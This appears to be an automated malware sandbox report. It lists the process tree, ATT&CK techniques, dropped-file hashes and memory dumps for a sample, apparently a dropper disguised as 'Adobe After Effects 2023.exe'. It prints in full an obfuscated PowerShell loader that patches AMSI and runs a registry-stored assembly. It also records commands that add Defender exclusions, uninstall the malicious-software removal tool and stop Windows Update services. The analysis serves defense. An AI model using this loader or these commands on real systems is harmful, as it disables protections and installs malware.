"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:AzwfEKXQJVvD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fuVgaRtCKnwogy,[Parameter(Position=1)][Type]$eaVeFjIWEw)$nhBNtFnkeQh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'l'+[Char](101)+'c'+[Char](116)+''+[Char](101)+'dD'+'e'+'l'+'e'+''+[Char](103)+'ate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+''+'e'+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'eT'+[Char](121)+''+'p'+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+'s'+'s'+','+''+'P'+''+'u'+''+'b'+'lic'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+','+''+[Char](65)+'nsi'+[Char](67)+''+[Char](108)+'as'+'s'+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$nhBNtFnkeQh.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+'l'+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+'d'+'e'+'B'+''+'y'+'Si'+[Char](103)+''+[Char](44)+''+'P'+'ubli'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fuVgaRtCKnwogy).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+'i'+'me'+[Char](44)+''+'M'+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$nhBNtFnkeQh.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+'o'+'k'+''+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$eaVeFjIWEw,$fuVgaRtCKnwogy).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+'M'+'an'+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $nhBNtFnkeQh.CreateType();}$kUqmzVeMeJzUy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sys'+[Char](116)+'e'+[Char](109)+'.'+[Char](100)+'ll')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+'Wi'+'n'+'3'+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$TOlVYTaiQkWoCA=$kUqmzVeMeJzUy.GetMethod('Ge'+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+'dr'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'S'+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fYstOetpOZNBtcENdEg=AzwfEKXQJVvD @([String])([IntPtr]);$OXyXsiTuyivUGjTnhvpOTj=AzwfEKXQJVvD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UsPBYGSjcyT=$kUqmzVeMeJzUy.GetMethod(''+'G'+'et'+[Char](77)+''+'o'+'du'+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$brGjLdkvDTflHC=$TOlVYTaiQkWoCA.Invoke($Null,@([Object]$UsPBYGSjcyT,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$CgrJprSoGESTTmdzN=$TOlVYTaiQkWoCA.Invoke($Null,@([Object]$UsPBYGSjcyT,[Object]('Vi'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'P'+'r'+''+[Char](111)+'t'+[Char](101)+''+'c'+''+[Char](116)+'')));$CjYjwtL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($brGjLdkvDTflHC,$fYstOetpOZNBtcENdEg).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$bAYUQFtpTaqngkiCi=$TOlVYTaiQkWoCA.Invoke($Null,@([Object]$CjYjwtL,[Object](''+[Char](65)+'ms'+'i'+''+[Char](83)+'c'+'a'+'n'+'B'+''+'u'+''+'f'+''+'f'+'e'+[Char](114)+'')));$OhPNTjJECm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CgrJprSoGESTTmdzN,$OXyXsiTuyivUGjTnhvpOTj).Invoke($bAYUQFtpTaqngkiCi,[uint32]8,4,[ref]$OhPNTjJECm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bAYUQFtpTaqngkiCi,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CgrJprSoGESTTmdzN,$OXyXsiTuyivUGjTnhvpOTj).Invoke($bAYUQFtpTaqngkiCi,[uint32]8,0x20,[ref]$OhPNTjJECm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+'st'+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5704

C:\ProgramData\rrnskuerkioa\ywkzpvlakbmn.exe
C:\ProgramData\rrnskuerkioa\ywkzpvlakbmn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:3044
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3508
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4068
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1796
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3524
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5064
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3288
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:1188
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2900
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4616
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1760
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1204
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3764
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:xCfwNHyPdnyC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$guLszuiPbqTHYG,[Parameter(Position=1)][Type]$HPBAJIlegx)$LspADvFEavX=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+'e'+'m'+[Char](111)+''+'r'+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+'s,'+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+'d'+','+'A'+'n'+[Char](115)+''+'i'+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$LspADvFEavX.DefineConstructor(''+'R'+''+'T'+''+'S'+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+'B'+''+'y'+''+'S'+''+'i'+'g'+','+''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$guLszuiPbqTHYG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$LspADvFEavX.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+[Char](72)+''+[Char](105)+'d'+'e'+'By'+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'ewSl'+[Char](111)+''+[Char](116)+''+[Char](44)+'Vi'+'r'+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$HPBAJIlegx,$guLszuiPbqTHYG).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+'e'+'d');Write-Output $LspADvFEavX.CreateType();}$quuOxHNJGrIPK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('Mi'+[Char](99)+''+'r'+''+[Char](111)+'s'+'o'+'ft'+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'nsa'+'f'+''+'e'+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+'e'+'t'+[Char](104)+''+[Char](111)+''+'d'+'s');$GVSzeXrIIsNJnU=$quuOxHNJGrIPK.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+'t'+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gFOWXhstqCufoYAkoow=xCfwNHyPdnyC @([String])([IntPtr]);$dPrciiEDgZuNEtbovZcoKL=xCfwNHyPdnyC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yGpVhMZOIbs=$quuOxHNJGrIPK.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+'el'+[Char](51)+'2'+[Char](46)+'dl'+[Char](108)+'')));$HBoYcGbMeIvUBN=$GVSzeXrIIsNJnU.Invoke($Null,@([Object]$yGpVhMZOIbs,[Object](''+'L'+''+[Char](111)+''+'a'+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$BTgSvgEMQbOfNuQHX=$GVSzeXrIIsNJnU.Invoke($Null,@([Object]$yGpVhMZOIbs,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$MrKjgyI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HBoYcGbMeIvUBN,$gFOWXhstqCufoYAkoow).Invoke('a'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$RpXVjniwbUzdbhyRR=$GVSzeXrIIsNJnU.Invoke($Null,@([Object]$MrKjgyI,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$DoMcqptBZt=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BTgSvgEMQbOfNuQHX,$dPrciiEDgZuNEtbovZcoKL).Invoke($RpXVjniwbUzdbhyRR,[uint32]8,4,[ref]$DoMcqptBZt);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RpXVjniwbUzdbhyRR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BTgSvgEMQbOfNuQHX,$dPrciiEDgZuNEtbovZcoKL).Invoke($RpXVjniwbUzdbhyRR,[uint32]8,0x20,[ref]$DoMcqptBZt);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 b4bdaf1572aa1ea043bd8c4313d5d9dfede007277b1348a8a4b393b5a0f0b4cb
MD5 86e8aa2d4c7bf0d49fee837996fa0ac9
SHA1 f3e00d03e1bb94249fa56e52e0bb98a5d1dd783f
SHA512 30c22f9a3893f2ba3abbc682539294920752afc1083fd2dc7fe54f390fdb88895416d18f81b03ee25a74838f97f5a154b9b47e137d3f092945f16ce32965b3ab
SSDEEP 384:+1eBaoT1iBGmGW14bb0iM20uM/+gevrr2PndIAXz4uqRhWrntL7KvWvrbhN9P+lB:uexZ6GlWiH0T2w/+161IAXzlGoaubhNe
TLSH
T1ABA2B578213F6DC7D8D226B410D20AB7FBE4D489DAF611D4AF1BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_gdnpxpzs.l2s.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdnpxpzs.l2s.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Adobe After Effects 2023.exe

Path C:\Users\Admin\AppData\Roaming\Adobe After Effects 2023.exe
Size 11.0MB
SHA256 d40b48302137b73bc286fbb9c3d6ce993f5b2565a2eb394ba10e2c96a143c67f
MD5 a3e2729dfb048c8dff47061627805950
SHA1 676e3e1e94576bd088f8666bc81f7e32e0934e76
SHA512 f9cadbbbef2f0551952832790084509e676477ac9f990b7d457b2ed6d9d21c734ad5a8d2ca6387d13204d4a460eed8e0f99233a622825b73c0fcb396ebd50601
SSDEEP 196608:5jE27YBCF/AbEepRxoJua7BIDmg/Htumr3U/3qKySMkHG7Fo+tkLS3/hysMkAmMx:5AYobEkohIDmonw6KySJHGBo+bPQsMQI
TLSH
T1E9C61255A22900ACDF7AD1F0C91A954ED5793CCC8BA56FDB930C6A512B933FC1A3DB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

injektion.exe

Path C:\Users\Admin\AppData\Roaming\injektion.exe
Size 2.8MB
SHA256 0547860c29dd5c113aa91c8d5aeaf14643ffdf2a8d78defcddb70f5ab694f3e7
MD5 16baf59561b7032b9b9cb21557437801
SHA1 3d70c096bfe7058a6ffc2538281cd445a5f61f85
SHA512 f2d61771008ae7a44a52bdf66968c719ef8cf37950775a0a0dce07ff8f3fcc64459938ab58bc16e29f284e0f9ea8c97b27ddd47978677e1bd0abd0f09618ccf1
SSDEEP 49152:7WDhw3vVpFaWaYr0d1ePEQwMeYRr1qAP/P8mO:iDhgvV3atMq5QFdQAPcmO
TLSH
T163D5339A75C532F3CD27D430D780E91AD86778621F3251EB0BA85B1A1B2D6C38F78D4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7221aa38ad417e6ab0225693b4e6d024767d00bf7a71597fa6ad5c1265989969
MD5 cf70666c89785b112fe78d6a2e651be4
SHA1 4019dc76106bee37fa47cb18fd51f6d81ae7b682
SHA512 3b7057ead8a8e9b654e5b9b0dac819f0f9535030a43c65067e7c628dc0bb5b54bbcb16c5bc2bd5806c292c69b7b8feec21857193d0499aa4d97e6526ee76955b
TLSH
T1EF216837B3DC8610C89A413A10CDAC1436B6C7DB80DECFAB7B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 38f709ec83748fa2937b7f5c1d30cd4a34dbe92d932057c44827c74e6daf6bfa
MD5 9651c2bfda51dd3c42a88bd55d6b3211
SHA1 4eeb2a60c277d651c2d2d7566be1a639f4113787
SHA512 84348a0ad2fc61691fc13c3b26353baf32add6e3a3c470684da4a63094edbc89191d68e70618dd455d4f176998c9584ac0129ac4d222499d9a866d6afe77cc72
TLSH
T125217A33F3CC8624DC9A403650CEAC1036B68BDB409FDE5BBB84D555B42F689DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1204-67-0x00007FF689490000-0x00007FF6894BB000-memory.dmp

Download

memory/2020-30-0x0000000005F10000-0x0000000005F2E000-memory.dmp

Download

memory/2020-19-0x0000000074000000-0x00000000747BC000-memory.dmp

Download

memory/2020-24-0x00000000059F0000-0x0000000005A56000-memory.dmp

Download

memory/2020-29-0x0000000005A60000-0x0000000005DBB000-memory.dmp

Download

memory/2020-20-0x0000000005230000-0x0000000005252000-memory.dmp

Download

memory/2020-18-0x00000000053A0000-0x00000000059EA000-memory.dmp

Download

memory/2020-31-0x0000000005FC0000-0x000000000600C000-memory.dmp

Download

memory/2020-32-0x00000000070D0000-0x0000000007106000-memory.dmp

Download

memory/2020-33-0x0000000074D00000-0x0000000074D4C000-memory.dmp

Download

memory/2020-23-0x00000000052D0000-0x0000000005336000-memory.dmp

Download

memory/2020-36-0x0000000007130000-0x0000000007150000-memory.dmp

Download

memory/2020-37-0x0000000007150000-0x00000000071F3000-memory.dmp

Download

memory/2020-38-0x00000000078C0000-0x0000000007F3C000-memory.dmp

Download

memory/2020-39-0x0000000007280000-0x000000000729A000-memory.dmp

Download

memory/2020-40-0x0000000007300000-0x000000000730A000-memory.dmp

Download

memory/2020-41-0x0000000007500000-0x0000000007596000-memory.dmp

Download

memory/2020-43-0x0000000074000000-0x00000000747BC000-memory.dmp

Download

memory/2020-17-0x0000000074000000-0x00000000747BC000-memory.dmp

Download

memory/2020-16-0x00000000026A0000-0x00000000026D6000-memory.dmp

Download

memory/2020-9-0x0000000074012000-0x0000000074013000-memory.dmp

Download

memory/3764-142-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-98-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-106-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-140-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-108-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-138-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-136-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-104-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-134-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-132-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-130-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-128-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-126-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-124-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-122-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-110-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-102-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-112-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-91-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-120-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-144-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-94-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-118-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-96-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-116-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-100-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/3764-114-0x00007FF7B8800000-0x00007FF7B8814000-memory.dmp

Download

memory/4044-52-0x000001FF6BA50000-0x000001FF6BA5A000-memory.dmp

Download

memory/4044-46-0x000001FF6B9D0000-0x000001FF6B9F2000-memory.dmp

Download

memory/4044-50-0x000001FF6BA60000-0x000001FF6BA7E000-memory.dmp

Download

memory/4044-51-0x000001FF6BF00000-0x000001FF6BFB2000-memory.dmp

Download

memory/4188-83-0x00007FFFDFE80000-0x00007FFFDFF47000-memory.dmp

Download

memory/4188-82-0x00007FFFE08C0000-0x00007FFFE0B23000-memory.dmp

Download

memory/4548-92-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-125-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-105-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-109-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-103-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-111-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-101-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-113-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-99-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-115-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-97-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-117-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-95-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-119-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-93-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-121-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-143-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-123-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-141-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-107-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-139-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-127-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-69-0x0000029C722C0000-0x0000029C722E0000-memory.dmp

Download

memory/4548-129-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

memory/4548-137-0x00007FF66F850000-0x00007FF670085000-memory.dmp

Download

